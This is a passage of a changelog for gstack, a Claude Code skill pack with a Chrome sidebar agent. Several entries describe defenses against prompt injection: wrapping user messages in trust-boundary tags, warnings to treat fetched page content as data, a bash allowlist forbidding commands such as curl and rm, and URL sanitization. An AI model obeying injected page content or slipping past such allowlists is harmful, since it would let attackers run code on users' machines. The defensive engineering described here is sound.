- **Sidebar agent now respects server-side args.** The sidebar-agent process was silently rebuilding its own Claude args from scratch, ignoring `--model`, `--allowedTools`, and other flags set by the server. Every server-side configuration change was silently dropped. Now uses the queued args.

### Added

- **XML prompt framing with trust boundaries.** User messages are wrapped in `<user-message>` tags with explicit instructions to treat content as data, not instructions. XML special characters (`< > &`) are escaped to prevent tag injection attacks.
- **Bash command allowlist.** The sidebar's system prompt now restricts Claude to browse binary commands only (`$B goto`, `$B click`, `$B snapshot`, etc.). All other bash commands (`curl`, `rm`, `cat`, etc.) are forbidden. This prevents prompt injection from escalating to arbitrary code execution.
- **Opus default for sidebar.** The sidebar now uses Opus (the most injection-resistant model) by default, instead of whatever model Claude Code happens to be running.
- **ML prompt injection defense design doc.** Full design doc at `docs/designs/ML_PROMPT_INJECTION_KILLER.md` covering the follow-up ML classifier (DeBERTa, BrowseSafe-bench, Bun-native 5ms vision). P0 TODO for the next PR.

## [0.13.3.0] - 2026-03-28. Lock It Down

Six fixes from community PRs and bug reports. The big one: your dependency tree is now pinned. Every `bun install` resolves the exact same versions, every time. No more floating ranges pulling fresh packages from npm on every setup.

### Fixed

- **Dependencies are now pinned.** `bun.lock` is committed and tracked. Every install resolves identical versions instead of floating `^` ranges from npm. Closes the supply-chain vector from #566.
- **`gstack-slug` no longer crashes outside git repos.** Falls back to directory name and "unknown" branch when there's no remote or HEAD. Every review skill that depends on slug detection now works in non-git contexts.
- **`./setup` no longer hangs in CI.** The skill-prefix prompt now auto-selects short names after 10 seconds. Conductor workspaces, Docker builds, and unattended installs proceed without human input.
- **Browse CLI works on Windows.** The server lockfile now uses `'wx'` string flag instead of numeric `fs.constants` that Bun compiled binaries don't handle on Windows.
- **`/ship` and `/review` find your design docs.** Plan search now checks `~/.gstack/projects/` first, where `/office-hours` writes design documents. Previously, plan validation silently skipped because it was looking in the wrong directories.
- **`/autoplan` dual-voice actually works.** Background subagents can't read files (Claude Code limitation), so the Claude voice was silently failing on every run. Now runs sequentially in foreground. Both voices complete before the consensus table.

### Added

- **Community PR guardrails in CLAUDE.md.** ETHOS.md, promotional material, and Garry's voice are explicitly protected from modification without user approval.

## [0.13.2.0] - 2026-03-28. User Sovereignty

AI models now recommend instead of override. When Claude and Codex agree on a scope change, they present it to you instead of just doing it. Your direction is the default, not the models' consensus.

### Added

- **User Sovereignty principle in ETHOS.md.** The third core principle: AI models recommend, users decide. Cross-model agreement is a strong signal, not a mandate.
- **User Challenge category in /autoplan.** When both models agree your stated direction should change, it goes to the final approval gate as a "User Challenge" instead of being auto-decided. Your original direction stands unless you explicitly change it.
- **Security/feasibility warning framing.** If both models flag something as a security risk (not just a preference), the question explicitly warns you it's a safety concern, not a taste call.
- **Outside Voice Integration Rule in CEO and Eng reviews.** Outside voice findings are informational until you explicitly approve each one.
- **User sovereignty statement in all skill voices.** Every skill now includes the rule that cross-model agreement is a recommendation, not a decision.

### Changed

- **Cross-model tension template no longer says "your assessment of who's right."** Now says "present both perspectives neutrally, state what context you might be missing." Options expanded from Add/Skip to Accept/Keep/Investigate/Defer.
- **/autoplan now has two gates, not one.** Premises (Phase 1) and User Challenges (both models disagree with your direction). Important Rules updated from "premises are the one gate" to "two gates."
- **Decision Audit Trail now tracks classification.** Each auto-decision is logged as mechanical, taste, or user-challenge.

## [0.13.1.0] - 2026-03-28. Defense in Depth

The browse server runs on localhost and requires a token for access, so these issues only matter if a malicious process is already running on your machine (e.g., a compromised npm postinstall script). This release hardens the attack surface so that even in that scenario, the damage is contained.

### Fixed

- **Auth token removed from `/health` endpoint.** Token now distributed via `.auth.json` file (0o600 permissions) instead of an unauthenticated HTTP response.
- **Cookie picker data routes now require Bearer auth.** The HTML picker page is still open (it's the UI shell), but all data and action endpoints check the token.
- **CORS tightened on `/refs` and `/activity/*`.** Removed wildcard origin header so websites can't read browse activity cross-origin.
- **State files auto-expire after 7 days.** Cookie state files now include a timestamp and warn on load if stale. Server startup cleans up files older than 7 days.
- **Extension uses `textContent` instead of `innerHTML`.** Prevents DOM injection if server-provided data ever contained markup. Standard defense-in-depth for browser extensions.
- **Path validation resolves symlinks before boundary checks.** `validateReadPath` now calls `realpathSync` and handles macOS `/tmp` symlink correctly.
- **Freeze hook uses portable path resolution.** POSIX-compatible (works on macOS without coreutils), fixes edge case where `/project-evil` could match a freeze boundary set to `/project`.
- **Shell config scripts validate input.** `gstack-config` rejects regex-special keys and escapes sed patterns. `gstack-telemetry-log` sanitizes branch/repo names in JSON output.

### Added

- 20 regression tests covering all hardening changes.

## [0.13.0.0] - 2026-03-27. Your Agent Can Design Now

gstack can generate real UI mockups. Not ASCII art, not text descriptions of hex codes, real visual designs you can look at, compare, pick from, and iterate on. Run `/office-hours` on a UI idea and you'll get 3 visual concepts in Chrome with a comparison board where you pick your favorite, rate the others, and tell the agent what to change.

### Added

- **Design binary** (`$D`). New compiled CLI wrapping OpenAI's GPT Image API. 13 commands: `generate`, `variants`, `iterate`, `check`, `compare`, `extract`, `diff`, `verify`, `evolve`, `prompt`, `serve`, `gallery`, `setup`. Generates pixel-perfect UI mockups from structured design briefs in ~40 seconds.
- **Comparison board.** `$D compare` generates a self-contained HTML page with all variants, star ratings, per-variant feedback, regeneration controls, a remix grid (mix layout from A with colors from B), and a Submit button. Feedback flows back to the agent via HTTP POST, not DOM polling.
- **`/design-shotgun` skill.** Standalone design exploration you can run anytime. Generates multiple AI design variants, opens a comparison board in your browser, and iterates until you approve a direction. Session awareness (remembers prior explorations), taste memory (biases new generations toward your demonstrated preferences), screenshot-to-variants (screenshot what you don't like, get improvements), configurable variant count (3-8).
- **`$D serve` command.** HTTP server for the comparison board feedback loop. Serves the board on localhost, opens in your default browser, collects feedback via POST. Stateful: stays alive across regeneration rounds, supports same-tab reload via `/api/progress` polling.
- **`$D gallery` command.** Generates an HTML timeline of all design explorations for a project: every variant, feedback, organized by date.
- **Design memory.** `$D extract` analyzes an approved mockup with GPT-4o vision and writes colors, typography, spacing, and layout patterns to DESIGN.md. Future mockups on the same project inherit the established visual language.
- **Visual diffing.** `$D diff` compares two images and identifies differences by area with severity. `$D verify` compares a live site screenshot against an approved mockup, pass/fail gate.
- **Screenshot evolution.** `$D evolve` takes a screenshot of your live site and generates a mockup showing how it should look based on your feedback. Starts from reality, not blank canvas.
- **Responsive variants.** `$D variants --viewports desktop,tablet,mobile` generates mockups at multiple viewport sizes.
- **Design-to-code prompt.** `$D prompt` extracts implementation instructions from an approved mockup: exact hex colors, font sizes, spacing values, component structure. Zero interpretation gap.

### Changed

- **/office-hours** now generates visual mockup explorations by default (skippable). Comparison board opens in your browser for feedback before generating HTML wireframes.
- **/plan-design-review** uses `{{DESIGN_SHOTGUN_LOOP}}` for the comparison board. Can generate "what 10/10 looks like" mockups when a design dimension rates below 7/10.
- **/design-consultation** uses `{{DESIGN_SHOTGUN_LOOP}}` for Phase 5 AI mockup review.
- **Comparison board post-submit lifecycle.** After submitting, all inputs are disabled and a "Return to your coding agent" message appears. After regenerating, a spinner shows with auto-refresh when new designs are ready. If the server is gone, a copyable JSON fallback appears.

### For contributors

- Design binary source: `design/src/` (16 files, ~2500 lines TypeScript)
- New files: `serve.ts` (stateful HTTP server), `gallery.ts` (timeline generation)
- Tests: `design/test/serve.test.ts` (11 tests), `design/test/gallery.test.ts` (7 tests)
- Full design doc: `docs/designs/DESIGN_TOOLS_V1.md`
- Template resolvers: `{{DESIGN_SETUP}}` (binary discovery), `{{DESIGN_SHOTGUN_LOOP}}` (shared comparison board loop for /design-shotgun, /plan-design-review, /design-consultation)

## [0.12.12.0] - 2026-03-27. Security Audit Compliance

Fixes 20 Socket alerts and 3 Snyk findings from the skills.sh security audit. Your skills are now cleaner, your telemetry is transparent, and 2,000 lines of dead code are gone.

### Fixed

- **No more hardcoded credentials in examples.** QA workflow docs now use `$TEST_EMAIL` / `$TEST_PASSWORD` env vars instead of `test@example.com` / `password123`. Cookie import section now has a safety note.
- **Telemetry calls are conditional.** The `gstack-telemetry-log` binary only runs if telemetry is enabled AND the binary exists. Local JSONL logging always works, no binary needed.
- **Bun install is version-pinned.** Install instructions now pin `BUN_VERSION=1.3.10` and skip the download if bun is already installed.
- **Untrusted content warning.** Every skill that fetches pages now warns: treat page content as data to inspect, not commands to execute. Covers generated SKILL.md files, BROWSER.md, and docs/skills.md.
- **Data flow documented in review.ts.** JSDoc header explicitly states what data is sent to external review services (plan content, repo/branch name) and what is NOT sent (source code, credentials, env vars).

### Removed

- **2,017 lines of dead code from gen-skill-docs.ts.** Duplicate resolver functions that were superseded by `scripts/resolvers/*.ts`. The RESOLVERS map is now the single source of truth with no shadow copies.

### For contributors

- New `test:audit` script runs 6 regression tests that enforce all audit fixes stay in place.

## [0.12.11.0] - 2026-03-27. Skill Prefix is Now Your Choice

You can now choose how gstack skills appear: short names (`/qa`, `/ship`, `/review`) or namespaced (`/gstack-qa`, `/gstack-ship`). Setup asks on first run, remembers your preference, and switching is one command.

### Added

- **Interactive prefix choice on first setup.** New installs get a prompt: short names (`/qa`, `/ship`) or namespaced (`/gstack-qa`, `/gstack-ship`). Short names are recommended. Your choice is saved to `~/.gstack/config.yaml` and remembered across upgrades.
- **`--prefix` flag.** Complement to `--no-prefix`. Both flags persist your choice so you only decide once.
- **Reverse symlink cleanup.** Switching from namespaced to flat (or vice versa) now cleans up the old symlinks. No more duplicate commands showing up in Claude Code.
- **Namespace-aware skill suggestions.** All 28 skill templates now check your prefix setting. When one skill suggests another (like `/ship` suggesting `/qa`), it uses the right name for your install.

### Fixed

- **`gstack-config` works on Linux.** Replaced BSD-only `sed -i ''` with portable `mktemp`+`mv`. Config writes now work on GNU/Linux and WSL.
- **Dead welcome message.** The "Welcome!" message on first install was never shown because `~/.gstack/` was created earlier in setup. Fixed with a `.welcome-seen` sentinel file.

### For contributors

- 8 new structural tests for the prefix config system (223 total in gen-skill-docs).

## [0.12.10.0] - 2026-03-27. Codex Filesystem Boundary

Codex was wandering into `~/.claude/skills/` and following gstack's own instructions instead of reviewing your code. Now every codex prompt includes a boundary instruction that keeps it focused on the repository. Covers all 11 callsites across /codex, /autoplan, /review, /ship, /plan-eng-review, /plan-ceo-review, and /office-hours.

### Fixed

- **Codex stays in the repo.** All `codex exec` and `codex review` calls now prepend a filesystem boundary instruction telling Codex to ignore skill definition files. Prevents Codex from reading SKILL.md preamble scripts and wasting 8+ minutes on session tracking and upgrade checks.
- **Rabbit-hole detection.** If Codex output contains signs it got distracted by skill files (`gstack-config`, `gstack-update-check`, `SKILL.md`, `skills/gstack`), the /codex skill now warns and suggests a retry.
- **5 regression tests.** New test suite validates boundary text appears in all 7 codex-calling skills, the Filesystem Boundary section exists, the rabbit-hole detection rule exists, and autoplan uses cross-host-compatible path patterns.

## [0.12.9.0] - 2026-03-27. Community PRs: Faster Install, Skill Namespacing, Uninstall

Six community PRs landed in one batch. Install is faster, skills no longer collide with other tools, and you can cleanly uninstall gstack when needed.

### Added

- **Uninstall script.** `bin/gstack-uninstall` cleanly removes gstack from your system: stops browse daemons, removes all skill installs (Claude/Codex/Kiro), cleans up state. Supports `--force` (skip confirmation) and `--keep-state` (preserve config). (#323)
- **Python security patterns in /review.** Shell injection (`subprocess.run(shell=True)`), SSRF via LLM-generated URLs, stored prompt injection, async/sync mixing, and column name safety checks now fire automatically on Python projects. (#531)
- **Office-hours works without Codex.** The "second opinion" step now falls back to a Claude subagent when Codex CLI is unavailable, so every user gets the cross-model perspective. (#464)

### Changed

- **Faster install (~30s).** All clone commands now use `--single-branch --depth 1`. Full history available for contributors. (#484)
- **Skills namespaced with `gstack-` prefix.** Skill symlinks are now `gstack-review`, `gstack-ship`, etc. instead of bare `review`, `ship`. Prevents collisions with other skill packs. Old symlinks are auto-cleaned on upgrade. Use `--no-prefix` to opt out. (#503)

### Fixed

- **Windows port race condition.** `findPort()` now uses `net.createServer()` instead of `Bun.serve()` for port probing, fixing an EADDRINUSE race on Windows where the polyfill's `stop()` is fire-and-forget. (#490)
- **package.json version sync.** VERSION file and package.json now agree (was stuck at 0.12.5.0).

## [0.12.8.1] - 2026-03-27. zsh Glob Compatibility

Skill scripts now work correctly in zsh. Previously, bash code blocks in skill templates used raw glob patterns like `.github/workflows/*.yaml` and `ls ~/.gstack/projects/$SLUG/*-design-*.md` that would throw "no matches found" errors in zsh when no files matched. Fixed 38 instances across 13 templates and 2 resolvers using two approaches: `find`-based alternatives for complex patterns, and `setopt +o nomatch` guards for simple `ls` commands.

### Fixed

- **`.github/workflows/` globs replaced with `find`.** `cat .github/workflows/*deploy*`, `for f in .github/workflows/*.yml`, and `ls .github/workflows/*.yaml` patterns in `/land-and-deploy`, `/setup-deploy`, `/cso`, and the deploy bootstrap resolver now use `find ... -name` instead of raw globs.
- **`~/.gstack/` and `~/.claude/` globs guarded with `setopt`.** Design doc lookups, eval result listings, test plan discovery, and retro history checks across 10 skills now prepend `setopt +o nomatch 2>/dev/null || true` (no-op in bash, disables NOMATCH in zsh).
- **Test framework detection globs guarded.** `ls jest.config.* vitest.config.*` in the testing resolver now has a setopt guard.

## [0.12.8.0] - 2026-03-27. Codex No Longer Reviews the Wrong Project

When you run gstack in Conductor with multiple workspaces open, Codex could silently review the wrong project. The `codex exec -C` flag resolved the repo root inline via `$(git rev-parse --show-toplevel)`, which evaluates in whatever cwd the background shell inherits. In multi-workspace environments, that cwd might be a different project entirely.

### Fixed

- **Codex exec resolves repo root eagerly.** All 12 `codex exec` commands across `/codex`, `/autoplan`, and 4 resolver functions now resolve `_REPO_ROOT` at the top of each bash block and reference the stored value in `-C`. No more inline evaluation that races with other workspaces.
- **`codex review` also gets cwd protection.** `codex review` doesn't support `-C`, so it now gets `cd "$_REPO_ROOT"` before invocation. Same class of bug, different command.
- **Silent fallback replaced with hard fail.** The `|| pwd` fallback silently used whatever random cwd was available. Now it errors out with a clear message if not in a git repo.

### Removed

- **Dead resolver copies in gen-skill-docs.ts.** Six functions that were moved to `scripts/resolvers/` months ago but never deleted. They had already diverged from the live versions and contained the old vulnerable pattern.

### Added

- **Regression test** that scans all `.tmpl`, resolver `.ts`, and generated `SKILL.md` files for codex commands using inline `$(git rev-parse --show-toplevel)`. Prevents reintroduction.

## [0.12.7.0] - 2026-03-27. Community PRs + Security Hardening

Seven community contributions merged, reviewed, and tested. Plus security hardening for telemetry and review logging, and E2E test stability fixes.

### Added

- **Dotfile filtering in skill discovery.** Hidden directories (`.git`, `.vscode`, etc.) are no longer picked up as skill templates.
- **JSON validation gate in review-log.** Malformed input is rejected instead of appended to the JSONL file.
- **Telemetry input sanitization.** All string fields are stripped of quotes, backslashes, and control characters before being written to JSONL.
- **Host-specific co-author trailers.** `/ship` and `/document-release` now use the correct co-author line for Codex vs Claude.
- **10 new security tests** covering telemetry injection, review-log validation, and dotfile filtering.

### Fixed

- **File paths starting with `./` no longer treated as CSS selectors.** `$B screenshot ./path/to/file.png` now works instead of trying to find a CSS element.
- **Build chain resilience.** `gen:skill-docs` failure no longer blocks binary compilation.
- **Update checker fall-through.** After upgrading, the checker now also checks for newer remote versions instead of stopping.
- **Flaky E2E tests stabilized.** `browse-basic`, `ship-base-branch`, and `review-dashboard-via` tests now pass reliably by extracting only relevant SKILL.md sections instead of copying full 1900-line files into test fixtures.
- **Removed unreliable `journey-think-bigger` routing test.** Never passed reliably because the routing signal was too ambiguous. 10 other journey tests cover routing with clear signals.

### For contributors

- New CLAUDE.md rule: never copy full SKILL.md files into E2E test fixtures. Extract the relevant section only.

## [0.12.6.0] - 2026-03-27. Sidebar Knows What Page You're On

The Chrome sidebar agent used to navigate to the wrong page when you asked it to do something. If you'd manually browsed to a site, the sidebar would ignore that and go to whatever Playwright last saw (often Hacker News from the demo). Now it works.

### Fixed

- **Sidebar uses the real tab URL.** The Chrome extension now captures the actual page URL via `chrome.tabs.query()` and sends it to the server. Previously the sidebar agent used Playwright's stale `page.url()`, which didn't update when you navigated manually in headed mode.
- **URL sanitization.** The extension-provided URL is validated (http/https only, control characters stripped, 2048 char limit) before being used in the Claude system prompt. Prevents prompt injection via crafted URLs.
- **Stale sidebar agents killed on reconnect.** Each `/connect-chrome` now kills leftover sidebar-agent processes before starting a new one. Old agents had stale auth tokens and would silently fail, causing the sidebar to freeze.

### Added

- **Pre-flight cleanup for `/connect-chrome`.** Kills stale browse servers and cleans Chromium profile locks before connecting. Prevents "already connected" false positives after crashes.
- **Sidebar agent test suite (36 tests).** Four layers: unit tests for URL sanitization, integration tests for server HTTP endpoints, mock-Claude round-trip tests, and E2E tests with real Claude. All free except layer 4.

## [0.12.5.1] - 2026-03-27. Eng Review Now Tells You What to Parallelize

`/plan-eng-review` automatically analyzes your plan for parallel execution opportunities. When your plan has independent workstreams, the review outputs a dependency table, parallel lanes, and execution order so you know exactly which tasks to split into separate git worktrees.

### Added

- **Worktree parallelization strategy** in `/plan-eng-review` required outputs. Extracts a structured table of plan steps with module-level dependencies, computes parallel lanes, and flags merge conflict risks. Skips automatically for single-module or single-track plans.

## [0.12.5.0] - 2026-03-26. Fix Codex Hangs: 30-Minute Waits Are Gone

Three bugs in `/codex` caused 30+ minute hangs with zero output during plan reviews and adversarial checks. All three are fixed.

### Fixed

- **Plan files now visible to Codex sandbox.** Codex runs sandboxed to the repo root and couldn't see plan files at `~/.claude/plans/`. It would waste 10+ tool calls searching before giving up. Now the plan content is embedded directly in the prompt, and referenced source files are listed so Codex reads them immediately.
- **Streaming output actually streams.** Python's stdout buffering meant zero output visible until the process exited. Added `PYTHONUNBUFFERED=1`, `python3 -u`, and `flush=True` on every print call across all three Codex modes.
- **Sane reasoning effort defaults.** Replaced hardcoded `xhigh` (23x more tokens, known 50+ min hangs per OpenAI issues #8545, #8402, #6931) with per-mode defaults: `high` for review and challenge, `medium` for consult. Users can override with `--xhigh` flag when they want maximum reasoning.
- **`--xhigh` override works in all modes.** The override reminder was missing from challenge and consult mode instructions. Found by adversarial review.

## [0.12.4.0] - 2026-03-26. Full Commit Coverage in /ship

When you ship a branch with 12 commits spanning performance work, dead code removal, and test infra, the PR should mention all three. It wasn't. The CHANGELOG and PR summary biased toward whatever happened most recently, silently dropping earlier work.

### Fixed

- **/ship Step 5 (CHANGELOG):** Now forces explicit commit enumeration before writing. You list every commit, group by theme, write the entry, then cross-check that every commit maps to a bullet. No more recency bias.
- **/ship Step 8 (PR body):** Changed from "bullet points from CHANGELOG" to explicit commit-by-commit coverage. Groups commits into logical sections. Excludes the VERSION/CHANGELOG metadata commit (bookkeeping, not a change). Every substantive commit must appear somewhere.

## [0.12.3.0] - 2026-03-26. Voice Directive: Every Skill Sounds Like a Builder

Every gstack skill now has a voice. Not a personality, not a persona, but a consistent set of instructions that make Claude sound like someone who shipped code today and cares whether the thing works for real users. Direct, concrete, sharp. Names the file, the function, the command. Connects technical work to what the user actually experiences.

Two tiers: lightweight skills get a trimmed version (tone + writing rules). Full skills get the complete directive with context-dependent tone (YC partner energy for strategy, senior eng for code review, blog-post clarity for debugging), concreteness standards, humor calibration, and user-outcome guidance.

### Added

- **Voice directive in all 25 skills.** Generated from `preamble.ts`, injected via the template resolver. Tier 1 skills get a 4-line version. Tier 2+ skills get the full directive.
- **Context-dependent tone.** Match the context: YC partner for `/plan-ceo-review`, senior eng for `/review`, best-technical-blog-post for `/investigate`.
- **Concreteness standard.** "Show the exact command. Use real numbers. Point at the exact line." Not aspirational... enforced.
- **User outcome connection.** "This matters because your user will see a 3-second spinner." Make the user's user real.
- **LLM eval test.** Judge scores directness, concreteness, anti-corporate tone, AI vocabulary avoidance, and user outcome connection. All dimensions must score 4/5+.

## [0.12.2.0] - 2026-03-26. Deploy with Confidence: First-Run Dry Run

The first time you run `/land-and-deploy` on a project, it does a dry run. It detects your deploy infrastructure, tests that every command works, and shows you exactly what will happen... before it touches anything. You confirm, and from then on it just works.

If your deploy config changes later (new platform, different workflow, updated URLs), it automatically re-runs the dry run. Trust is earned, maintained, and re-validated when the ground shifts.

### Added

- **First-run dry run.** Shows your deploy infrastructure in a validation table: platform, CLI status, production URL reachability, staging detection, merge method, merge queue status. You confirm before anything irreversible happens.
- **Staging-first option.** If staging is detected (CLAUDE.md config, GitHub Actions workflow, or Vercel/Netlify preview), you can deploy there first, verify it works, then proceed to production.
- **Config decay detection.** The dry-run confirmation stores a fingerprint of your deploy config. If CLAUDE.md's deploy section or your deploy workflows change, the dry run re-triggers automatically.
- **Inline review gate.** If no recent code review exists, offers a quick safety check on the diff before merging. Catches SQL safety, race conditions, and security issues at deploy time.
- **Merge queue awareness.** Detects when your repo uses merge queues and explains what's happening while it waits.
- **CI auto-deploy detection.** Identifies deploy workflows triggered by the merge and monitors them.

### Changed

- **Full copy rewrite.** Every user-facing message rewritten to narrate what's happening, explain why, and be specific. First run = teacher mode. Subsequent runs = efficient mode.
- **Voice & Tone section.** New guidelines for how the skill communicates: be a senior release engineer sitting next to the developer, not a robot.

## [0.12.1.0] - 2026-03-26. Smarter Browsing: Network Idle, State Persistence, Iframes

Every click, fill, and select now waits for the page to settle before returning. No more stale snapshots because an XHR was still in-flight. Chain accepts pipe-delimited format for faster multi-step flows. You can save and restore browser sessions (cookies + open tabs). And iframe content is now reachable.

### Added

- **Network idle detection.** `click`, `fill`, and `select` auto-wait up to 2s for network requests to settle before returning. Catches XHR/fetch triggered by interactions. Uses Playwright's built-in `waitForLoadState('networkidle')`, not a custom tracker.

- **`$B state save/load`.** Save your browser session (cookies + open tabs) to a named file, load it back later. Files stored at `.gstack/browse-states/{name}.json` with 0o600 permissions. V1 saves cookies + URLs only (not localStorage, which breaks on load-before-navigate). Load replaces the current session, not merge.

- **`$B frame` command.** Switch command context into an iframe: `$B frame iframe`, `$B frame --name checkout`, `$B frame --url stripe`, or `$B frame @e5`. All subsequent commands (click, fill, snapshot, etc.) operate inside the iframe. `$B frame main` returns to the main page. Snapshot shows `[Context: iframe src="..."]` header. Detached frames auto-recover.

- **Chain pipe format.** Chain now accepts `$B chain 'goto url | click @e5 | snapshot -ic'` as a fallback when JSON parsing fails. Pipe-delimited with quote-aware tokenization.

### Changed

- **Chain post-loop idle wait.** After executing all commands in a chain, if the last was a write command, chain waits for network idle before returning.

### Fixed

- **Iframe ref scoping.** Snapshot ref locators, cursor-interactive scan, and cursor locators now use the frame-aware target instead of always scoping to the main page.
- **Detached frame recovery.** `getActiveFrameOrPage()` checks `isDetached()` and auto-recovers.
- **State load resets frame context.** Loading a saved state clears the active frame reference.
- **elementHandle leak in frame command.** Now properly disposed after getting contentFrame.
- **Upload command frame-aware.** `upload` uses the frame-aware target for file input locators.

## [0.12.0.0] - 2026-03-26. Headed Mode + Sidebar Agent

You can now watch Claude work in a real Chrome window and direct it from a sidebar chat.

### Added

- **Headed mode with sidebar agent.** `$B connect` launches a visible Chrome window with the gstack extension. The Side Panel shows a live activity feed of every command AND a chat interface where you type natural language instructions. A child Claude instance executes your requests in the browser ... navigate pages, click buttons, fill forms, extract data. Each task gets up to 5 minutes.

- **Personal automation.** The sidebar agent handles repetitive browser tasks beyond dev workflows. Browse your kid's school parent portal and add parent contact info to Google Contacts. Fill out vendor onboarding forms. Extract data from dashboards. Log in once in the headed browser or import cookies from your real Chrome with `/setup-browser-cookies`.

- **Chrome extension.** Toolbar badge (green=connected, gray=not), Side Panel with activity feed + chat + refs tab, @ref overlays on the page, and a connection pill showing which window gstack controls. Auto-loads when you run `$B connect`.

- **`/connect-chrome` skill.** Guided setup: launches Chrome, verifies the extension, demos the activity feed, and introduces the sidebar chat.

### Changed

- **Sidebar agent ungated.** Previously required `--chat` flag. Now always available in headed mode. The sidebar agent has the same security model as Claude Code itself (Bash, Read, Glob, Grep on localhost).

- **Agent timeout raised to 5 minutes.** Multi-page tasks (navigating directories, filling forms across pages) need more than the previous 2-minute limit.

## [0.11.21.0] - 2026-03-26

### Fixed

- **`/autoplan` reviews now count toward the ship readiness gate.** When `/autoplan` ran full CEO + Design + Eng reviews, `/ship` still showed "0 runs" for Eng Review because autoplan-logged entries weren't being read correctly. Now the dashboard shows source attribution (e.g., "CLEAR (PLAN via /autoplan)") so you can see exactly which tool satisfied each review.
- **`/ship` no longer tells you to "run /review first."** Ship runs its own pre-landing review in Step 3.5. asking you to run the same review separately was redundant. The gate is removed; ship just does it.
- **`/land-and-deploy` now checks all 8 review types.** Previously missed `review`, `adversarial-review`, and `codex-plan-review`. if you only ran `/review` (not `/plan-eng-review`), land-and-deploy wouldn't see it.
- **Dashboard Outside Voice row now works.** Was showing "0 runs" even after outside voices ran in `/plan-ceo-review` or `/plan-eng-review`. Now correctly maps to `codex-plan-review` entries.
- **`/codex review` now tracks staleness.** Added the `commit` field to codex review log entries so the dashboard can detect when a codex review is outdated.
- **`/autoplan` no longer hardcodes "clean" status.** Review log entries from autoplan used to always record `status:"clean"` even when issues were found. Now uses proper placeholder tokens that Claude substitutes with real values.

## [0.11.20.0] - 2026-03-26

### Added

- **GitLab support for `/retro` and `/ship`.** You can now run `/ship` on GitLab repos. it creates merge requests via `glab mr create` instead of `gh pr create`. `/retro` detects default branches on both platforms. All 11 skills using `BASE_BRANCH_DETECT` automatically get GitHub, GitLab, and git-native fallback detection.
- **GitHub Enterprise and self-hosted GitLab detection.** If the remote URL doesn't match `github.com` or `gitlab`, gstack checks `gh auth status` / `glab auth status` to detect authenticated platforms. no manual config needed.
- **`/document-release` works on GitLab.** After `/ship` creates a merge request, the auto-invoked `/document-release` reads and updates the MR body via `glab` instead of failing silently.
- **GitLab safety gate for `/land-and-deploy`.** Instead of silently failing on GitLab repos, `/land-and-deploy` now stops early with a clear message that GitLab merge support is not yet implemented.

### Fixed

- **Deduplicated gen-skill-docs resolvers.** The template generator had duplicate inline resolver functions that shadowed the modular versions, causing generated SKILL.md files to miss recent resolver updates.

## [0.11.19.0] - 2026-03-24

### Fixed

- **Auto-upgrade no longer breaks.** The root gstack skill description was 7 characters from the Codex 1024-char limit. Every new skill addition pushed it closer. Moved the skill routing table from the description (bounded) to the body (unlimited), dropping from 1017 to 409 chars with 615 chars of headroom.
- **Codex reviews now run in the correct repo.** In multi-workspace setups (like Conductor), Codex could pick up the wrong project directory. All `codex exec` calls now explicitly set `-C` to the git root.

### Added

- **900-char early warning test.** A new test fails if any Codex skill description exceeds 900 chars, catching description bloat before it breaks builds.

## [0.11.18.2] - 2026-03-24

### Fixed

- **Windows browse daemon fixed.** The browse server wouldn't start on Windows because Bun requires `stdio` as an array (`['ignore', 'ignore', 'ignore']`), not a string (`'ignore'`). Fixes #448, #454, #458.

## [0.11.18.1] - 2026-03-24

### Changed

- **One decision per question. everywhere.** Every skill now presents decisions one at a time, each with its own focused question, recommendation, and options. No more wall-of-text questions that bundle unrelated choices together. This was already enforced in the three plan-review skills; now it's a universal rule across all 23+ skills.

## [0.11.18.0] - 2026-03-24. Ship With Teeth

`/ship` and `/review` now actually enforce the quality gates they've been talking about. Coverage audit becomes a real gate (not just a diagram), plan completion gets verified against the diff, and verification steps from your plan run automatically.

### Added

- **Test coverage gate in /ship.** AI-assessed coverage below 60% is a hard stop. 60-79% gets a prompt. 80%+ passes. Thresholds are configurable per-project via `## Test Coverage` in CLAUDE.md.
- **Coverage warning in /review.** Low coverage is now flagged prominently before you reach the /ship gate, so you can write tests early.
- **Plan completion audit.** /ship reads your plan file, extracts every actionable item, cross-references against the diff, and shows you a DONE/NOT DONE/PARTIAL/CHANGED checklist. Missing items are a shipping blocker (with override).
- **Plan-aware scope drift detection.** /review's scope drift check now reads the plan file too. not just TODOS.md and PR description.
- **Auto-verification via /qa-only.** /ship reads your plan's verification section and runs /qa-only inline to test it. if a dev server is running on localhost. No server, no problem. it skips gracefully.
- **Shared plan file discovery.** Conversation context first, content-based grep fallback second. Used by plan completion, plan review reports, and verification.
- **Ship metrics logging.** Coverage %, plan completion ratio, and verification results are logged to review JSONL for /retro to track trends.
- **Plan completion in /retro.** Weekly retros now show plan completion rates across shipped branches.

## [0.11.17.0] - 2026-03-24. Cleaner Skill Descriptions + Proactive Opt-Out

### Changed

- **Skill descriptions are now clean and readable.** Removed the ugly "MANUAL TRIGGER ONLY" prefix from every skill description that was wasting 58 characters and causing build errors for Codex integration.
- **You can now opt out of proactive skill suggestions.** The first time you run any gstack skill, you'll be asked whether you want gstack to suggest skills during your workflow. If you prefer to invoke skills manually, just say no. it's saved as a global setting. You can change your mind anytime with `gstack-config set proactive true/false`.

### Fixed

- **Telemetry source tagging no longer crashes.** Fixed duration guards and source field validation in the telemetry logger so it handles edge cases cleanly instead of erroring.

## [0.11.16.1] - 2026-03-24. Installation ID Privacy Fix

### Fixed

- **Installation IDs are now random UUIDs instead of hostname hashes.** The old `SHA-256(hostname+username)` approach meant anyone who knew your machine identity could compute your installation ID. Now uses a random UUID stored in `~/.gstack/installation-id`. not derivable from any public input, rotatable by deleting the file.
- **RLS verification script handles edge cases.** `verify-rls.sh` now correctly treats INSERT success as expected (kept for old client compat), handles 409 conflicts and 204 no-ops.

## [0.11.16.0] - 2026-03-24. Smarter CI + Telemetry Security

### Changed

- **CI runs only gate tests by default. periodic tests run weekly.** Every E2E test is now classified as `gate` (blocks PRs) or `periodic` (weekly cron + on-demand). Gate tests cover functional correctness and safety guardrails. Periodic tests cover expensive Opus quality benchmarks, non-deterministic routing tests, and tests requiring external services (Codex, Gemini). CI feedback is faster and cheaper while quality benchmarks still run weekly.
- **Global touchfiles are now granular.** Previously, changing `gen-skill-docs.ts` triggered all 56 E2E tests. Now only the ~27 tests that actually depend on it run. Same for `llm-judge.ts`, `test-server.ts`, `worktree.ts`, and the Codex/Gemini session runners. The truly global list is down to 3 files (session-runner, eval-store, touchfiles.ts itself).
